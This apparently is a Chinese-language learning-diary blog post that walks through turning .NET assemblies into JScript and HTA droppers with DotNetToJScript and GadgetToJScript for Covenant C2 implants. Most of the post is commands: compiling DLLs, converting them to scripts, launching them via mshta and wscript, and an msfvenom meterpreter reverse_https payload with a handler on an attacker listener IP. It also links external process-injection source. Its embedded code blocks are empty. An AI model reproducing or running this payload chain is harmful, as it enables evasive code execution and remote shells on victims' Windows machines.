黑客学徒日记-DotNetToJScript与GadgetToJScript
DotNetToJScript
C:\Windows\Microsoft.NET\Framework64\v4.0.50727\csc.exe /target:library hollowing.cs
DotNetToJScript.exe ExampleAssembly.dll –lang=Jscript –ver=v4,v2 -o runner.js
GadgetToJScript
在这篇文章中,我们将介绍如何利用 GadgetToJScript 生成各种受支持格式的有效负载,例如 HTA、JS、VBS 和 VBA(宏),这将执行我们的 covenant grunt(Grunt 是 Covenant C2 框架的植入物)。
Covenant 有默认启动器来生成 hta/js 有效负载,那么为什么我们还要使用 GadgetToJScript 工具来生成 hta/js 格式的 Covenant payload。
Covenant 使用 DotNetToJScript 生成 hta / js 格式的有效负载,在 Windows 10 环境它不能运行。 我们可以在描述字段中看到注释。
接下来我们介绍4款工具:
DotNetToJScript 一种dll转 JScript、vbscript的工具。缺点是只支持.net2.0
GadgetToJScript - 一种用于生成 .NET 序列化小工具的工具,当使用基于 JS/VBS 的脚本的 BinaryFormatter 反序列化时,可以触发 .NET 程序集加载/执行。当通过 jscript/vbscript 反序列化时,正在使用的小工具会触发对 Assembly.Load 的调用,这意味着它可以以相同的方式用于在运行时触发您自己的 shellcode 加载器的内存加载。
Covenant - 一款C2
Covenant 是一个 .NET 命令和控制框架,旨在突出 .NET 的攻击面,使攻击性 .NET 交易更容易使用,并作为红队人员的协作命令和控制平台。
Donut - Donut 是一种 shellcode 生成工具,可从 .NET 程序集创建与位置无关的 shellcode 有效负载。此 shellcode 可用于将程序集注入任意 Windows 进程。给定任意 .NET 程序集、参数和入口点(例如 Program.Main),它会生成与位置无关的 shellcode,从内存中加载它。 .NET 程序集既可以从 URL 暂存,也可以通过直接嵌入到 shellcode 中无阶段进行。
Download GadgetToJScript,编译后获得GadgetToJScript.exe
dll to js
test.cs
1 |
|
编译为test.dllC:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /target:library test.cs
test.dll 转换为test.js
GadgetToJScript.exe -w js -o test -a test.dll
js to hta
使用下面的hta模板,js文件填充到html中
1 |
|
mshta C:\Users\Local\Desktop\Tools\evasion\GadgetToJScript-master\GadgetToJScript\bin\Release\test.hta
Reverse Shell
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.18.30 lport=7898 -f csharp > /home/kali/Desktop/payload.txt
handler -H 192.168.18.30 -P 7898 -p windows/x64/meterpreter/reverse_https
cs源码请查看该文章 进程注入与迁移
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library 0520.cs
获得0520.dll, https://github.com/Whale3070/ctf-coding/blob/master/0520.cs
GadgetToJScript.exe -w js -o 0521 -a 0520.dll
wscirpt 0521.js